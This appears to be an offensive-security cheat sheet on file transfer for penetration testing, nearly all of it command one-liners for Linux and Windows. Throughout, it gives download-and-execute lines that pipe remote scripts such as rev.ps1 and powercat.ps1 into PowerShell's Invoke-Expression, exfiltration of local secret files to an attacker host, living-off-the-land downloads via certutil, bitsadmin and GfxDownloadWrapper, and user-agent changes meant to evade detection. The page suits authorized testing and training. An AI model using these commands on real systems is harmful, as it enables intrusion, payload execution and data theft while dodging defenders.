06Tools
File Transfers
01 Linux
- Simple file transfer (My way)
bash18 lines
## ------------------| NetCat### Receiving sidenc -lp 1234 > out.file### Sending sidenc -w 3 <ReceiverIP> 1234 < out.filecat out.file > /dev/tcp/<DestinationIP>/1234
# ------------------| Socat### Sending sidesocat TCP4-LISTEN:1234,fork file:secret.txt### Receiving sidesocat TCP4:<SenderIP>:1234 file:secret.txt,create
# ------------------| SSH### To copy a file from B to A while logged into B:scp /path/to/file username@a:/path/to/destination### To copy a file from B to A while logged into A:scp username@b:/path/to/file /path/to/destination- Download Files.
bash49 lines
## ------------------| AXELaxel -a -n 10 -k -o /tmp/secret.txt https://<IP>/secret.txt## -a Alternate progress indicator## -n Specify maximum number of connections## -k Don't verify the SSL certificate
## ------------------| WGETwget https://<IP>/secret.txt -O /tmp/secret.txt
## ------------------| CURLcurl https://<IP>/secret.txt -o /tmp/secret.txt
## ------------------| OpenSSL### Create certificateopenssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem### Stand up serveropenssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/secret.txt### Download fileopenssl s_client -connect <IP>:80 -quiet > secret.txt
## ------------------| Bash (/dev/tcp)### Connect to Target's Webserverexec 3<>/dev/tcp/10.10.10.32/80### HTTP GET Requestecho -e "GET /secret.txt HTTP/1.1\n\n">&3### Print the Responsecat <&3
## ------------------| PHP### File_get_contents()php -r '$file = file_get_contents("https://<IP>/secret.txt"); file_put_contents("secret.txt",$file);'### Fopen()php -r 'const BUFFER = 1024; $fremote = fopen("https://<IP>/secret.txt", "rb"); $flocal = fopen("secret.txt", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
## ------------------| Python### defaultpython -c "import requests; open('secret.txt', 'wb').write(requests.get('http://<IP>/secret.txt').content)"### Python2import urlliburllib.urlretrieve ("https://<IP>/secret.txt", "secret.txt")### Python3import urllib.requesturllib.request.urlretrieve("https://<IP>/secret.txt", "secret.txt")
## ------------------| Rubyruby -e 'require "net/http"; File.write("secret.txt", Net::HTTP.get(URI.parse("https://<IP>/secret.txt")))'
## ------------------| Perlperl -e 'use LWP::Simple; getstore("https://<IP>/secret.txt", "secret.txt");'02 Windows
bash9 lines
## ------------------| Download & Executewget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1powershell -c "IEX (New-Object System.Net.Webclient).DownloadString('http://<IP>/powercat.ps1')"
## ------------------| Senderpowercat -c <LHOST> -p 1212 -i C:\Users\secret.txt
## ------------------| Receivernc -lnvp 1212 > secret.txt- Download files.
bash24 lines
## ------------------| Old version (support for any version)powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://<IP>/nc.exe', 'C:\Users\Public\nc.exe')"
## ------------------| New version (alias IWR)powershell -c "Invoke-WebRequest http://<IP>/nc.exe -OutFile C:\Users\Public\nc.exe"
## ------------------| Executed in memory (alias IEX)powershell -c "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://10.10.14.25/rev.ps1')"powershell -c "Invoke-WebRequest http://10.10.14.25/rev.ps1 | iex"
## ------------------| Internet Explorer’s First Run error (-useBasicParsing)powershell -c "IWR -useBasicParsing http://<IP>/nc.exe -o C:\Users\Public\nc.exe"### If you have admin access you can disable Internet Explorer’s First Run customizationreg add "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main" /f /v DisableFirstRunCustomize /t REG_DWORD /d 2
## ------------------| CMD wayscertutil -urlcache -split -f "http://<IP>/nc.exe" C:\Users\Public\nc.exe
## ------------------| Using Curlpowershell curl http://<IP>/rev.ps1
## ------------------| The Background Intelligent Transfer Service (BITS)bitsadmin /transfer n http://<IP>/nc.exe C:\Temp\nc.exeImport-Module bitstransfer;Start-BitsTransfer -Source "http://<IP>/nc.exe" -Destination "C:\Temp\nc.exe"- Upload Files.
bash19 lines
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:/<PATH>/BloodHound.zip' -Encoding Byte))Invoke-WebRequest -Uri http://<IP>:443 -Method POST -Body $b64## Download file with netcatecho <base64> | base64 -d -w 0 > bloodhound.zip
## ------------------| The Background Intelligent Transfer Service (BITS)Start-BitsTransfer "C:\Temp\bloodhound.zip" -Destination "http://<IP>/uploads/bloodhound.zip" -TransferType Upload -ProxyUsage Override -ProxyList PROXY01:8080 -ProxyCredential INLANEFREIGHT\svc-sql
## ------------------| HTTP POST### Creare following up.php code in host machine<?php$up_dir = '/var/www/html/';$up_file = $up_dir . $_FILES['file']['name'];move_uploaded_file($_FILES['file']['name'], $up_file);?>### Change file permisionsudo chown www-data: /var/www/html### Upload file through powershellpowershell (New-Object Net.WebClient).UploadFile('http://<IP>/up.php', 'nc.exe')wgetScripts
bash28 lines
## ------------------| Create wget.js filevar WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);WinHttpReq.Send();BinStream = new ActiveXObject("ADODB.Stream");BinStream.Type = 1;BinStream.Open();BinStream.Write(WinHttpReq.ResponseBody);BinStream.SaveToFile(WScript.Arguments(1));
## ------------------| It can be executed as follows.cscript /nologo wget.js http://<IP>/nc.exe nc.exe
## ------------------| Create wget.vbs filedim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")dim bStrm: Set bStrm = createobject("Adodb.Stream")xHttp.Open "GET", WScript.Arguments.Item(0), FalsexHttp.Send
with bStrm .type = 1 .open .write xHttp.responseBody .savetofile WScript.Arguments.Item(1), 2end with
## ------------------| It can be executed as follows.cscript /nologo wget.vbs http://<IP>/nc.exe nc.exe- Diffrent
User-Agent(For bypass any detections)
bash28 lines
## ------------------| WinHttp (Netscape 4.0)$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://<IP>/nc.exe',$false);$h.send();iex $h.ResponseText
## ------------------| Msxml2 (Internet Explorer 7.0)$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://<IP>/nc.exe',$false);$h.send();iex $h.responseText
## ------------------| Certutilcertutil -urlcache -split -f http://<IP>/nc.execertutil -verifyctl -split -f http://<IP>/nc.exe
## ------------------| BITSImport-Module bitstransfer;Start-BitsTransfer 'http://<IP>/nc.exe' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t;iex $r
## ------------------| Invoke-WebRequest with User-Agent### List all avilable user agents[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl### Download file using a Chrome User AgentInvoke-WebRequest http://<IP>/nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "C:\Users\Public\nc.exe"exe2hexDownload
bash2 lines
upx -9 nc.exeexe2hex -x nc.exe03 Simple Servers
- Web servers
bash20 lines
## ------------------| Pythonpython2 -m SimpleHTTPServer 8080python3 -m http.server 8080
## ------------------| Rubyruby -run -e httpd . -p 8080
## ------------------| PHPphp -S 0.0.0.0:8080
## ------------------| Socatsocat TCP-LISTEN:8080,reuseaddr,fork
## ------------------| BusyBoxbusybox httpd -f -p 10000
## ------------------| HTTPSgit clone https://github.com/h4rithd/SPython3.git && cd SPython3pip3 install -r requirements.txtpython3 spython3.py- FTP server
bash1 line
python3 -m pyftpdlib --user=pentester --password=p4ssw0rd -wTFTP- TFTP server (Require Administrative Access)
bash12 lines
## ------------------| Windows Enable TFTPDISM /online /Enable-Feature /FeatureName:TFTPInstall-WindowsFeature TFTP-Client
## ------------------| Linuxsudo apt-get install -y atftpmkdir /tmp/tftpsudo chown nobody: /tmp/tftpsudo atftpd --daemon --port 40 /tmp/tftp
## ------------------| Upload file (on windows machine)tftp -i <IP> put nc.exe- SMB server
bash18 lines
## ------------------| Basic usageimpacket-smbserver <shareName> <sharePath>impacket-smbserver share $(pwd) -smb2support
## ------------------| Start smb server (With auth)### Start smb serverimpacket-smbserver share $(pwd) -smb2support -username h4rithd -password Password123
## ------------------| Mount without authnet use Z: \\<LHOST>\share /USER:h4rithd Password123New-PSDrive -Name h4rithd -PSProvider FileSystem -Root \\<LHOST>\share
## ------------------| Mount with auth$pass = ConvertTo-SecureString 'Password123' -AsPlainText -Force$cred = New-Object System.Management.Automation.PSCredential('h4rithd', $pass)New-PSDrive -Name h4rithd -PSProvider FileSystem -Credential $cred -Root \\<LHOST>\sharecd h4rithd:dir- RDP Server
bash2 lines
rdesktop -g 1600x800 -r disk:tmp=/tmp/shares <IP> -u h4rithd -p /dynamic-resolutionxfreerdp /u:h4rithd /p:Password123 /cert:ignore /v:<IP> /workarea /drive:/localdir,share /dynamic-resolution +clipboard- Setup
nginxserver to upload files.
bash20 lines
## ------------------| Create servermkdir -p /tmp/uploadschmod 777 /tmp/uploads/sudo chown www-data /tmp/uploads/
sudo vi /etc/nginx/sites-available/file_uploadserver { listen 8001 default_server; server_name up.h4rithd; location / { root /tmp/uploads; dav_methods PUT; }}
sudo ln -s /etc/nginx/sites-available/file_upload /etc/nginx/sites-enabled/file_uploadsystemctl start nginx
## ------------------| Upload Filecurl --upload-file UploadFile.txt IP:800104 Living Off The Land Binaries
bash1 line
GfxDownloadWrapper.exe "http://<IP>/nc.exe" "C:\Temp\nc.exe"bash1 line
lwp-download http://<IP>/nc.exe nc.exe